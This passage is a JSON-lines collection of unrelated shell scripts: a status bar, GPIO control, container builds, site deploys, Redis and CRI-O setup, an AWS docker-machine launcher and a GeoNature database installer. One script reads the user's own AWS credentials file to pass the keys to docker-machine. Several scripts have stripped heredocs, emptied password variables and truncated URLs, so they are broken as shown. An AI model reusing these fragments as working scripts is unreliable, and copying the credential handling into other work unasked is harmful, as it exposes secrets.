fired.\"\n sleep 0.5\n done\n}\n\nmonitor_battery &\nmonitor_network &\n\n# open op the pipe in read write mode\ncat <>${NAMED_PIPE} | lemonbar -p \\\n -F\\#${FG_COLOR} -B\\#${BG_COLOR} \\\n -o ${FONT_1_OFFSET} -f \"${FONT_1_SPEC}\" \\\n -o ${FONT_2_OFFSET} -f \"${FONT_2_SPEC}\" \\\n -o ${FONT_3_OFFSET} -f \"${FONT_3_SPEC}\" \\\n -o ${FONT_4_OFFSET} -f \"${FONT_4_SPEC}\" \\\n -o ${FONT_5_OFFSET} -f \"${FONT_5_SPEC}\" \\\n -g ${DIMENSIONS} | lemon-modules-click-handler"} {"text": "#!/bin/bash\n\n# Ignore errors, just means someone already set up this pin for access\necho \"4\" > /sys/class/gpio/export 2> /dev/null\n\n# Amp enable\necho \"out\" > /sys/class/gpio/gpio4/direction\n# Redundant since 0 is the default out value\necho \"0\" > /sys/class/gpio/gpio4/value\n\necho \"Amp enabled. Run amp-unmute.sh\"\n\n./amp-status.sh"} {"text": "mattgd/leetboxbootstrap.sh\n#!/usr/bin/env bash\n\nsudo apt-get update\n\nsudo apt-get install -y gcc-multilib\nsudo apt-get install -y make\nsudo apt-get install -y gdb\nsudo apt-get install -y radare2\nsudo apt-get install -y python3-pip\nsudo apt-get install -y python2.7 python-pip\n\n# ROP\nsudo pip3 install capstone\npip3 install ropgadget"} {"text": "coolabhays/shell_scripts\n#!/usr/bin/env sh\n\n# Author: \n# Date: 2020-02-25\n# Description: another lock screen script\n# Email: \n# Github: https://github.com/CoolAbhayS\n# Last Edited: 2020-02-25\n\nscreenshot=/tmp/screenshot.png\nicon=$HOME/.cache/temp/download-removebg-preview.png\n\nif [ -f \"$screenshot\" ]; then\n\trm /tmp/screenshot.png\nfi\n\nscrot \"$screenshot\"\n\n# add the lock icon to swirled and blurred image:\n[[ -f \"$icon\" ]] &&\n\tconvert \"$screenshot\" -paint 1 -swirl 180 \"$screenshot\"\n\tconvert \"$screenshot\" -gravity center \"$icon\" -composite -matte \"$screenshot\"\n\n# pause music\nmpc pause\n\n# get it locked\ni3lock -e -f -c 000000 -i \"$screenshot\""} {"text": "#!/bin/sh\n# The parameters are:\n# webAppWarFileName=%s;\n# webAppWarImage\n# webAppSourceRepositoryURL=%s;\n# webAppSourceRepositoryRef=%s;\n# webAppSourceRepositoryContextDir=%s;\n# webAppSourceImage\n\n\n# Some pods don't have root privileges, so the build takes place in /tmp\ncd tmp\n\n# Create a custom .m2 repo in a location where no root privileges are required\nmkdir -p /tmp/.m2/repo\n\n# Create custom maven settings that change the location of the .m2 repo\necho '> /tmp/.m2/settings.xml\necho 'xsi:schemaLocation=\"http://maven.apache.org/SETTINGS/1.0.0 https://maven.apache.org/xsd/settings-1.0.0.xsd\">' >> /tmp/.m2/settings.xml\necho '/tmp/.m2/repo' >> /tmp/.m2/settings.xml\necho '' >> /tmp/.m2/settings.xml\n\n\nif [ -z ${webAppSourceRepositoryURL} ]; then\n\techo \"Need an URL like https://github.com/jfclere/demo-webapp.git\"\n\texit 1\nfi\n\ngit clone ${webAppSourceRepositoryURL}\nif [ $? -ne 0 ]; then\n\techo \"Can't clone ${webAppSourceRepositoryURL}\"\n\texit 1\nfi\n\n# Get the name of the source code directory\nDIR=$(echo ${webAppSourceRepositoryURL##*/})\nDIR=$(echo ${DIR%%.*})\n\ncd ${DIR}\n\nif [ ! -z ${webAppSourceRepositoryRef} ]; then\n\tgit checkout ${webAppSourceRepositoryRef}\nfi\n\nif [ ! -z ${webAppSourceRepositoryContextDir} ]; then\n\tcd ${webAppSourceRepositoryContextDir}\nfi\n\n# Builds the webapp using the custom maven settings\nmvn clean install -gs /tmp/.m2/settings.xml\nif [ $? -ne 0 ]; then\n\techo \"mvn install failed please check the pom.xml in ${webAppSourceRepositoryURL}\"\n\texit 1\nfi\n\n# Copies the resulting war to deployments\necho \"Copies the resulting war to deployments/${webAppWarFileName}\"\nmkdir /tmp/deployments\ncp /tmp/*/target/*.war /tmp/deployments/${webAppWarFileName}\n\n# on not privileged openshift arrange /etc/subuid and /etc/subgid to the current user.\n# note sed -i can't we can't write a new file /etc\nMYUSER=`id -u`\necho \"Current user: ${MYUSER}\"\nif [ ${MYUSER} != \"1000\" ]; then\n sed \"s:1000:${MYUSER}:\" /etc/subuid > subuid.new\n cat subuid.new >> /etc/subuid\n sed \"s:1000:${MYUSER}:\" /etc/subgid > subgid.new\n cat subgid.new >> /etc/subgid\nfi\n\n# The secret is mounted in /auth\n# the /auth/.dockerconfigjson comes from mounting the secret in the pod\n# the source here is the $HOME/.docker/config.json create like:\n# kubectl create secret generic jfc --from-file=.dockerconfigjson=$HOME/.docker/config.json --type=kubernetes.io/dockerconfigjson\n# if you just use a podman do something like:\n# podman run --mount type=bind,target=/home/jfclere/.docker/config.json,destination=/auth/.dockerconfigjson quay.io/jfclere/tomcat10-buildah\n# \n# ${webAppWarImage} is where we push the result\n# ${webAppSourceImage} is what we use in FROM of the Dockerfile\n#\necho \"Use buildah to build and push to ${webAppWarImage}\"\ncd /tmp\nHOME=/tmp\nSTORAGE_DRIVER=vfs buildah bud -f /Dockerfile.JWS -t ${webAppWarImage} --authfile /auth/.dockerconfigjson --build-arg webAppSourceImage=${webAppSourceImage}\nSTORAGE_DRIVER=vfs buildah push --authfile /auth/.dockerconfigjson ${webAppWarImage}"} {"text": "Honestpuck/developer_tools\n#!/bin/bash\n\n# xcode-select.sh v1.0\n# ARW 24/9/2019\n# runs xcode-select on a chosen Xcode version\n\napp=$(osascript <1-10\n#!/usr/bin/env sh\n# 确保脚本抛出遇到的错误\nset -e\n\n# 获取当前分支名\nbranch=$(git symbolic-ref --short -q HEAD)\n\npnpm build\n\ngit push origin $branch:$branch\necho -e '\\033[32m 已推送至github \\n'\n\npnpx gh-pages -d dist\n\necho -e '\\n'\necho -e '\\033[32m 已部署成功至sanm-zh.github.io'\necho -e '\\n'\n\ngit remote set-url origin :sanm-zh/vue3-drag-echart.git\n\ngit push origin $branch:$branch\necho -e '\\033[32m 已推送至gitee \\n'\n\npnpx gh-pages -d dist\n\necho -e '\\n'\necho -e '\\033[32m 已部署成功至sanm-zh.gitee.io'\necho -e '\\033[32m 如果不是gitee pro用户请手动更新gitee pages服务'\necho -e '\\n'\n\ngit remote set-url origin :Sanm-ZH/vue3-drag-echart.git"} {"text": "0\n#!/bin/bash\r\n# Copyright 2020 Google LLC\r\n#\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n#\r\n# https://www.apache.org/licenses/LICENSE-2.0\r\n#\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\nset -e\r\nset -x\r\n\r\ngaps=../gaps/bin/x86_64/\r\nrm test-ldif-output.ply || true\r\nrm test-sif-output.ply || true\r\n./build.sh\r\n./ldif2mesh test-ldif.txt extracted.occnet test-grid.grd -resolution 128\r\n${gaps}/grd2msh test-grid.grd test-ldif-output.ply -threshold -0.07\r\nrm test-grid.grd\r\n./ldif2mesh test-sif.txt extracted.occnet test-grid.grd -resolution 128\r\n${gaps}/grd2msh test-grid.grd test-sif-output.ply -threshold -0.07\r\nrm test-grid.grd\r\n${gaps}/mshview test-ldif-output.ply test-sif-output.ply -back"} {"text": "0\n#!/usr/bin/env bash\n# Run in project root dir\nset -euo pipefail\nIFS=$'\\n\\t'\n\nmkdir -p /tmp/remy_rs/models/\ntouch /tmp/remy_rs/models/model.dump\nls /tmp/remy_rs/models/model.dump\n\nENV=production\nPYTHONPATH=/usr/local/lib/python3.6/site-packages\necho \"ENV: ${ENV}\"\necho \"PYTHONPATH: ${PYTHONPATH}\"\n\n/usr/local/bin/uvicorn --host \"0.0.0.0\" --port \"${PORT:=8000}\" -- remy_rs.api.api:api\n# TODO: change for gunicorn in prod\n# gunicorn -b \"0.0.0.0:${PORT:=8000}\" -w 4 -k uvicorn.workers.UvicornWorker remy_rs.api.api:api"} {"text": "#!/bin/bash\n\nif [ ! -e build ]; then\n mkdir build\nfi\n\ncd build\ncmake .. -DCMAKE_INSTALL_PREFIX=../install -DMyOpenCVProject_BUILD_EXECUTABLE=1\ncmake --build . --target install"} {"text": "#!/bin/bash\n#\n# \tInstalliert cr-o\n\nset -o xtrace\n\nexport VERSION=$(echo $1 | cut -c1-4)\nexport OS=$2\nexport DNSNAME=$3\n\nsudo modprobe overlay\nsudo modprobe br_netfilter\n\n# Set up required sysctl params, these persist across reboots.\ncat <> ~/.bashrc"} {"text": "1-10\n#! /bin/bash\npython predict.py --model_name 'Seq2seq_5' --ckpt_path 'ckpt/06-05_Seq2seq_5_epoch=1_loss=146.1.pkl' --eval_set 'resource/dataset/test_1031k.txt'"} {"text": "#!/bin/bash \n\n#bash /sps/atlas/a/aghosh/batch/cpujobLaucher.sh /sps/atlas/a/aghosh/batch/runMadMinerDelphes.sh 0\nfor i in $(eval echo {$1..$2})\ndo \n echo $i; \n #bash /sps/atlas/a/aghosh/batch/cpujobLaucher.sh /sps/atlas/a/aghosh/batch/runMadMinerDelphes.sh $i\n sleep 0.001\ndone"} {"text": "yaroslav-007/webcounter2scripts/provision-redis.sh\n####Creating config file for redis\n\nmkdir /etc/redis.d\ncat > /etc/redis.d/redis.conf << EOF\nport 6379\ndaemonize yes\nsave 60 1\nbind 127.0.0.1\ntcp-keepalive 300\ndbfilename dump.rdb\ndir ./\nrdbcompression yes\n\nEOF\n\n\n###Creating redis service file:\ncat > /etc/systemd/system/redis.service <<- \"EOF\"\n[Unit]\nDescription=\"Redis server for the web counter\"\nDocumentation=https://redis.io/\nRequires=network-online.target\nAfter=network-online.target\nConditionFileNotEmpty=/etc/redis/redis.conf\n\n[Service]\nUser=vagrant\nGroup=vagrant\nExecStart=/usr/bin/redis-server /etc/redis.d/redis.conf --supervised systemd\nExecStop=/usr/bin/redis-cli shutdown\nKillMode=process\nRestart=on-failure\nLimitNOFILE=65536\n\n[Install]\nWantedBy=multi-user.target\nEOF\n\n###Enable the redis service\nsystemctl daemon-reload\nsystemctl start redis-server\nsystemctl enable redis-server"} {"text": "#!/bin/sh\nxbuild KopiLua.Net40.sln /p:Configuration=Release\nexport MONO_PATH=\"/Library/Frameworks/Mono.framework/Libraries/mono/4.0/\"\ncd tests/\nnunit-console KopiLua.Tests.dll"} {"text": "customize.sh\n#!/bin/bash\n#=================================================\n# Description: DIY script\n# Lisence: MIT\n# Author: eSirPlayground\n# Youtube Channel: https://goo.gl/fvkdwm \n#=================================================\n\n# 更改默认ip\n# sed -i 's/192.168.1.1/新的ip/g' openwrt/package/base-files/files/bin/config_generate\n\n# 更改主机名\n#sed -i \"s/OpenWrt/新主机名/g\" openwrt/package/base-files/files/bin/config_generate\n\n# 更改版本号\nsed -i \"s/OpenWrt/Tom build on $(date -I) for /g\" openwrt/package/lean/default-settings/files/zzz-default-settings"} {"text": "#!/bin/bash\n\nkeytool -import -trustcacerts -file /trusts/tls.crt -keystore trusts.jks -storepass $TRUSTSTORE_PASSWORD -alias \"Demo App Root CA\" -noprompt\nopenssl pkcs12 -export -in /certs/tls.crt -inkey /certs/tls.key -CAfile /trusts/tls.crt -name \"authentication-service\" -passout pass:$KEYSTORE_PASSWORD -out server.p12\nexec java $JAVA_OPTS -Djavax.net.ssl.trustStorePassword=$TRUSTSTORE_PASSWORD -jar /app/authentication-service-0.3.0.jar"} {"text": "#!/usr/bin/env bash\n\nsudo cp rc-local.service /etc/systemd/system/rc-local.service\necho \"#!/usr/bin/env bash\" > rc.local.tmp\n./generate_command.sh >> rc.local.tmp\nsudo cp rc.local.tmp /etc/rc.local\nsudo chmod +x /etc/rc.local\nsudo systemctl enable rc-local\nsudo systemctl start rc-local.service\nsudo systemctl status rc-local.service"} {"text": "MikeFesta/3xr1-10\n#!/bin/bash\n# SPDX-License-Identifier: Apache-2.0\nsource $(dirname $0)/../../xrs.sh\n# The model name is passed as an argument -n name\nsource $(dirname $0)/../../name_flag.sh\n\n# Get the ID from the server\n# TODO: Typos here would create a new asset - need to write a new endpoint for getting id from name\nid=$(curl -s https://www.3xr.com/admin/assets/new/${name})\nif [ $id -eq 0 ]\nthen\n xrs_print_error_message \"Unable to get ID\"\n exit 1\nfi\nxrs_print_status_message \"Asset ID Returned is ${id}\"\nxrs_print_status_message \"Moving folder from complete to ${id}_${name}\"\nmv \"$COMPLETE_MODEL_DIR/${id}_${name}/\" \"${MODEL_DIR}/${name}/\"\nexit $?"} {"text": ".github/scripts/build-benchmark-docker.sh\n#!/bin/sh\n\nset -euo pipefail\n\nTODAY=$(date +\"%Y%m%d\")\n\n# Get the latest pytorch docker image\nTORCH_LATEST=$(docker images | grep \"pytorch\\s\" | head -n 1)\nTORCH_ID=$(echo $TORCH_LATEST | tr -s ' ' | cut -d ' ' -f3)\n\necho \"Building benchmark docker using pytorch docker $TORCH_ID...\"\n\nsed -i 's,FROM pytorch,FROM '\"$TORCH_ID\"',' docker/Dockerfile\ndocker build -t $(id -un)/pytorch-benchmark:${TODAY}_${GITHUB_RUN_ID} docker\nsed -i 's,FROM '\"$TORCH_ID\"',FROM pytorch,' docker/Dockerfile"} {"text": "IFS=', ' read -ra BATTERY <<< $(acpi)\nBATTERY_PERCENTAGE=\"${BATTERY[3]}\"\nBATTERY_CHARGING=\"${BATTERY[2]}\"\n\nCHARGE_SIGN=' '\nif [ $BATTERY_CHARGING == \"Charging\" ]; then\n CHARGE_SIGN='🔌'\nfi\n\nBACKLIGHT_PERCENTAGE=$(light | awk -F '.' '{print $1 }')\n\nIWCONFIG=$(iwconfig wlp3s0)\nNETWORK_NAME=$(grep ESSID <<< $IWCONFIG | grep -o '\".*' | tr -d '\"')\nLINK_QUALITY=($(iwconfig wlp3s0 | grep \"Link Quality\" | rg -o '(\\d{2}/\\d{2})' | tr '/' ' '))\nLINK_QUALITY_PERCENTAGE=$(awk -v link1=\"${LINK_QUALITY[0]}\" -v link2=\"${LINK_QUALITY[1]}\" 'BEGIN {printf \"%.2d\", link1 * 100 / link2}')\n\nDATE=$(date +'%H:%M')\n\n# Mixer volume | muted\nMASTER_VOLUME=$(amixer -D pulse sget Master | grep \"Front Left: \" | rg -o \"\\d{1,2}%\")\n\nCPU_USAGE=$(top -b -n 1 | perl -lane '/PID/ and $x=1; $x and print' | awk '{totuse = totuse + $9} END {printf(\"%.2d\", totuse)}')\n\nMEMORY_USED=$(free -m | grep Mem: | awk '{ printf(\"%.2d\", ($2-$7)*100/$2) }')\n\nBLUETOOTH=$(vars=($(rfkill | grep bluetooth)); if [ ${vars[3]} = \"unblocked\" ]; then echo 🅱; fi)\n\necho 🔋$BATTERY_PERCENTAGE $CHARGE_SIGN 🔈$MASTER_VOLUME 🔆$BACKLIGHT_PERCENTAGE% $BLUETOOTH 📶$NETWORK_NAME $LINK_QUALITY_PERCENTAGE% 💻 $CPU_USAGE% 💾 $MEMORY_USED% $DATE"} {"text": "#!/bin/bash\n\n# create database\npsql -d postgres -c 'drop database if exists track_history;'\npsql -d postgres -c 'create database track_history;'"} {"text": "#!/usr/bin/env bash\n\nset -e\nset -x\n\nmkdir -p /tmp/roboconf\nrm -rf /tmp/roboconf/*\n\n(cd /tmp/roboconf && git clone :roboconf/rabbitmq-with-ssl-in-docker.git)\n\n(cd /tmp/roboconf/rabbitmq-with-ssl-in-docker && docker build --rm --force-rm --no-cache --pull --squash --tag \"enqueue/rabbitmq-ssl:latest\" .)\n\n(cd /tmp/roboconf/rabbitmq-with-ssl-in-docker && docker login --username=\"$DOCKER_USER\" --password=\"$\")\n(cd /tmp/roboconf/rabbitmq-with-ssl-in-docker && docker push \"enqueue/rabbitmq-ssl:latest\")\n\ndocker run --rm -v \"`pwd`/var/rabbitmq_certificates:/enqueue\" \"enqueue/rabbitmq-ssl:latest\" cp /home/testca/cacert.pem /enqueue/cacert.pem\ndocker run --rm -v \"`pwd`/var/rabbitmq_certificates:/enqueue\" \"enqueue/rabbitmq-ssl:latest\" /bin/bash -c \"/bin/bash /home/generate-client-keys.sh && cp /home/client/key.pem /enqueue/key.pem && cp /home/client/cert.pem /enqueue/cert.pem\""} {"text": "#!/usr/bin/env bash\n\n# Get keys from standard AWS setting file location\nAWS_SETTING_FILE=\"~/.aws/credentials\"\n\nKEY=\"aws_access_key_id\"\nSECRET=\"aws_secret_access_key\"\naws_key=$(grep $KEY ~/.aws/credentials | cut -d \"=\" -f 2 | tr -d '[[:space:]]')\naws_secret=$(grep $SECRET ~/.aws/credentials | cut -d \"=\" -f 2 | tr -d '[[:space:]]')\n\n\n# Defaults\nAWS_VPC=\"vpc-194d467b\"\nAWS_SECURITY_GROUP=\"ci-http\"\n\naws_price=\"0.05\"\naws_instance_type=\"m3.medium\"\n\n\nhelp() {\n echo \"Usage: $0 [-i instance-type] [-p spot-instance-price] name driver\" 1>&2\n exit 1\n}\n\nwhile getopts i:p:h OPT\ndo\n case $OPT in\n i) aws_instance_type=$OPTARG\n ;;\n p) aws_price=$OPTARG\n ;;\n h) help\n ;;\n \\?) help\n ;;\n esac\ndone\n\nshift $((OPTIND - 1))\n\necho \"Driver: $2\"\necho \"Instance type: \\033[31m $aws_instance_type \\033[0m\"\necho \"Max. bid price: $aws_price\"\necho \"Machine name: \\033[31m $1 \\033[0m\"\n\n# Run AWS\necho \"\\n\\n\"\n\n# Default: Local\nif [ -z \"$2\" ]; then\n echo \"\\nTarget Machine: VirtualBox\"\n docker-machine create --driver virtualbox $1\nelif [ \"$2\" == \"aws\" ]; then\n echo \"\\nDriver:\\033[31m Amazon EC2 \\033[0m \\n\"\n # Create new host on AWS EC2\n docker-machine create --driver amazonec2 \\\n --amazonec2-request-spot-instance \\\n --amazonec2-access-key $aws_key \\\n --amazonec2-secret-key $aws_secret \\\n --amazonec2-vpc-id $AWS_VPC \\\n --amazonec2-region us-west-2 \\\n --amazonec2-zone c \\\n --amazonec2-root-size 30 \\\n --amazonec2-security-group $AWS_SECURITY_GROUP \\\n --amazonec2-spot-price $aws_price --amazonec2-instance-type $aws_instance_type $1\n #--amazonec2-ami: The AMI ID of the instance to use Default: ami-4ae27e22\n #--amazonec2-iam-instance-profile: The AWS IAM role name to be used as the inst ance profile\n #--amazonec2-session-token: Your session token for the Amazon Web Services API.\n #--amazonec2-subnet-id: AWS VPC subnet id\nelse\n echo \"No such machine available. Abort.\"\n exit 1\nfi\n\nnew_machine_ip=$(docker-machine ip $1)\n\ndocker-machine ls\n\necho \"\\nNew Docker host is available at \\033[31m $new_machine_ip \\033[0m \\n\"\n\necho \"Now execute: eval \\\"\\$(docker-machine env $1)\\\"\""} {"text": "#!/bin/bash\nset -e\n\ndocker build -t arif332/openimscore-allinone -f openIMScore/Dockerfile openIMScore"} {"text": "binarySequoia/VG_Recalscripts/stat_gen.sh\n#!/bin/sh\n\nif [ $# -ne 1 ];\nthen\n\techo \"USAGE ./$0 LENGHT\"\n\texit 1\nelse\n\tLEN=$1\n\t#vg gamcompare -r 100 mapped$LEN.gam sim$LEN.gam | vg recalibrate --model recal$LEN-r.model --train -\n\t#vg recalibrate --model recal$LEN-r.model mapped$LEN.gam | vg gamcompare -r 100 - sim$LEN.gam --tsv --aligner recal > stats_r_$LEN.tsv\n\t#vg gamcompare -r 100 mapped$LEN.gam sim$LEN.gam --tsv --aligner orig | sed 1d >>stats_r_$LEN.tsv\n\n\t#vg gamcompare -r 100 mapped$LEN.gam sim$LEN.gam | vg recalibrate -b --model recal$LEN-b.model --train -\n\t#vg recalibrate -b --model recal$LEN-b.model mapped$LEN.gam | vg gamcompare -r 100 - sim$LEN.gam --tsv --aligner recal > stats_b_$LEN.tsv\n\t#vg gamcompare -r 100 mapped$LEN.gam sim$LEN.gam --tsv --aligner orig | sed 1d >>stats_b_$LEN.tsv\n\n\t#vg gamcompare -r 100 mapped$LEN.gam sim$LEN.gam | vg recalibrate -e --model recal$LEN-m.model --train -\n #vg recalibrate -e --model recal$LEN-m.model mapped$LEN.gam | vg gamcompare -r 100 - sim$LEN.gam --tsv --aligner recal > stats_m_$LEN.tsv\n #vg gamcompare -r 100 mapped$LEN.gam sim$LEN.gam --tsv --aligner orig | sed 1d >>stats_m_$LEN.tsv\n\n\t#vg gamcompare -r 100 mapped$LEN.gam sim$LEN.gam | vg recalibrate -b -e --model recal$LEN-bm.model --train -\n #vg recalibrate -b -e --model recal$LEN-bm.model mapped$LEN.gam | vg gamcompare -r 100 - sim$LEN.gam --tsv --aligner recal > stats_bm_$LEN.tsv\n #vg gamcompare -r 100 mapped$LEN.gam sim$LEN.gam --tsv --aligner orig | sed 1d >>stats_bm_$LEN.tsv\n\t\n\t#vg gamcompare -r 100 mapped$LEN.gam sim$LEN.gam | vg recalibrate -s --model recal$LEN-ms.model --train -\n vg recalibrate -s --model recal$LEN-ms.model mapped$LEN.gam | vg gamcompare -r 100 - sim$LEN.gam --tsv --aligner recal > stats_ms_$LEN.tsv\n vg gamcompare -r 100 mapped$LEN.gam sim$LEN.gam --tsv --aligner orig | sed 1d >>stats_ms_$LEN.tsv\n\n#Rscript ../../vg/scripts/plot-qq.R stats$LEN.tsv qq$LEN.svg\n\texit 0\nfi"} {"text": "#!/bin/bash\n\n# Make sure only root can run our script\nif [ \"$(id -u)\" != \"0\" ]; then\n echo \"This script must be run as root\" 1>&2\n exit 1\nfi\n\n. config/settings.ini\n\nfunction database_exists () {\n # /!\\ Will return false if psql can't list database. Edit your pg_hba.conf\n # as appropriate.\n if [ -z $1 ]\n then\n # Argument is null\n return 0\n else\n # Grep db name in the list of database\n sudo -n -u postgres -s -- psql -tAl | grep -q \"^$1|\"\n return $?\n fi\n}\n\n\nif database_exists $db_name\nthen\n if $drop_apps_db\n then\n echo \"Suppression de la base...\"\n sudo -n -u postgres -s dropdb $db_name\n else\n echo \"La base de données existe et le fichier de settings indique de ne pas la supprimer.\"\n fi\nfi \nif ! database_exists $db_name \nthen\n echo \"Création de la base...\"\n echo \"--------------------\" &> log/install_db.log\n echo \"Création de la base\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n sudo -n -u postgres -s createdb -O $user_pg $db_name\n echo \"Ajout de postgis à la base...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Ajout de postgis à la base\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n sudo -n -u postgres -s psql -d $db_name -c \"CREATE EXTENSION IF NOT EXISTS postgis;\" &>> log/install_db.log\n sudo -n -u postgres -s psql -d $db_name -c \"CREATE EXTENSION IF NOT EXISTS plpgsql WITH SCHEMA pg_catalog; COMMENT ON EXTENSION plpgsql IS 'PL/pgSQL procedural language';\" &>> log/install_db.log\n\n\n # Mise en place de la structure de la base et des données permettant son fonctionnement avec l'application\n echo \"Grant...\"\n cp data/grant.sql /tmp/grant.sql\n sudo sed -i \"s/MYPGUSER/$user_pg/g\" /tmp/grant.sql\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Grant\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n sudo -n -u postgres -s psql -d $db_name -f /tmp/grant.sql &>> log/install_db.log\n \n echo \"Récupération et création du schéma utilisateurs...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Création du schéma utilisateurs\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n cd data/utilisateurs\n wget https://raw.githubusercontent.com/PnEcrins/UsersHub/$usershub_release/data/usershub.sql\n cd ../..\n export PGPASSWORD=$;psql -h $db_host -U $user_pg -d $db_name -f data/utilisateurs/usershub.sql &>> log/install_db.log\n export PGPASSWORD=$;psql -h $db_host -U $user_pg -d $db_name -f data/utilisateurs/create_view_utilisateurs.sql &>> log/install_db.log\n\n\n echo \"Création du schéma taxonomie...\"\n echo \"Téléchargement et décompression des fichiers du taxref...\"\n cd data/taxonomie/inpn\n wget https://raw.githubusercontent.com/PnX-SI/TaxHub/$taxhub_release/data/inpn/data_inpn_v9_taxhub.sql\n wget https://github.com/PnX-SI/TaxHub/raw/$taxhub_release/data/inpn/TAXREF_INPN_v9.0.zip\n wget https://github.com/PnX-SI/TaxHub/raw/$taxhub_release/data/inpn/ESPECES_REGLEMENTEES.zip\n wget https://github.com/PnX-SI/TaxHub/raw/$taxhub_release/data/inpn/LR_FRANCE.zip\n unzip TAXREF_INPN_v9.0.zip -d /tmp\n unzip ESPECES_REGLEMENTEES.zip -d /tmp\n unzip LR_FRANCE.zip -d /tmp\n cd ..\n\n echo \"Récupération des scripts de création du schéma taxonomie...\"\n wget https://raw.githubusercontent.com/PnX-SI/TaxHub/$taxhub_release/data/taxhubdb.sql\n wget https://raw.githubusercontent.com/PnX-SI/TaxHub/$taxhub_release/data/taxhubdata.sql\n wget https://raw.githubusercontent.com/PnX-SI/TaxHub/$taxhub_release/data/taxhubdata_taxon_example.sql\n wget https://raw.githubusercontent.com/PnX-SI/TaxHub/$taxhub_release/data/vm_hierarchie_taxo.sql\n cd ../..\n\n echo \"Création du schéma taxonomie...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Création du schéma taxonomie\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n export PGPASSWORD=$user_;psql -h $db_host -U $user_pg -d $db_name -f data/taxonomie/taxhubdb.sql &>> log/install_db.log\n\n echo \"Insertion des données taxonomiques de l'inpn... (cette opération peut être longue)\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Insertion des données taxonomiques de l'inpn\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n sudo -n -u postgres -s psql -d $db_name -f data/taxonomie/inpn/data_inpn_v9_taxhub.sql &>> log/install_db.log\n\n echo \"Création des données dictionnaires du schéma taxonomie...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Création des données dictionnaires du schéma taxonomie\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n export PGPASSWORD=$;psql -h $db_host -U $user_pg -d $db_name -f data/taxonomie/taxhubdata.sql &>> log/install_db.log\n\n echo \"Insertion d'un jeu de taxons exemples dans le schéma taxonomie...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Insertion d'un jeu de taxons exemples dans le schéma taxonomie\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n export PGPASSWORD=$user_;psql -h $db_host -U $user_pg -d $db_name -f data/taxonomie/taxhubdata_taxon_example.sql &>> log/install_db.log\n\n echo \"Création de la vue représentant la hierarchie taxonomique...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Création de la vue représentant la hierarchie taxonomique\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n export PGPASSWORD=$;psql -h $db_host -U $user_pg -d $db_name -f data/taxonomie/vm_hierarchie_taxo.sql &>> log/install_db.log\n\n echo \"Copie des scripts de création de la base GeoNature dans un répertoire temporaire...\"\n cp data/core/synthese.sql /tmp/synthese.sql\n cp data/core/data_synthese.sql /tmp/data_synthese.sql\n cp data/modules/contactfaune.sql /tmp/contactfaune.sql\n cp data/modules/contactflore.sql /tmp/contactflore.sql\n cp data/modules/contactinv.sql /tmp/contactinv.sql\n cp data/modules/florestation.sql /tmp/florestation.sql\n cp data/modules/florepatri.sql /tmp/florepatri.sql\n cp data/modules/bryophytes.sql /tmp/bryophytes.sql\n\n echo \"Application du paramètre de la projection locale...\"\n sudo sed -i \"s/MYLOCALSRID/$srid_local/g\" /tmp/synthese.sql\n sudo sed -i \"s/MYLOCALSRID/$srid_local/g\" /tmp/data_synthese.sql\n sudo sed -i \"s/MYLOCALSRID/$srid_local/g\" /tmp/contactfaune.sql\n sudo sed -i \"s/MYLOCALSRID/$srid_local/g\" /tmp/contactflore.sql\n sudo sed -i \"s/MYLOCALSRID/$srid_local/g\" /tmp/contactinv.sql\n sudo sed -i \"s/MYLOCALSRID/$srid_local/g\" /tmp/florestation.sql\n sudo sed -i \"s/MYLOCALSRID/$srid_local/g\" /tmp/florepatri.sql\n sudo sed -i \"s/MYLOCALSRID/$srid_local/g\" /tmp/bryophytes.sql\n\n echo \"Création des schémas du coeur de la base GeoNature...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Création des schémas du coeur de la base GeoNature\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n export PGPASSWORD=;psql -h $db_host -U $user_pg -d $db_name -f /tmp/synthese.sql &>> log/install_db.log\n\n echo \"Insertion des données des tables dictionnaires de la base...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Insertion des données des tables dictionnaires de la base\" &>> log/install_db.log\n echo \"--------------------\" 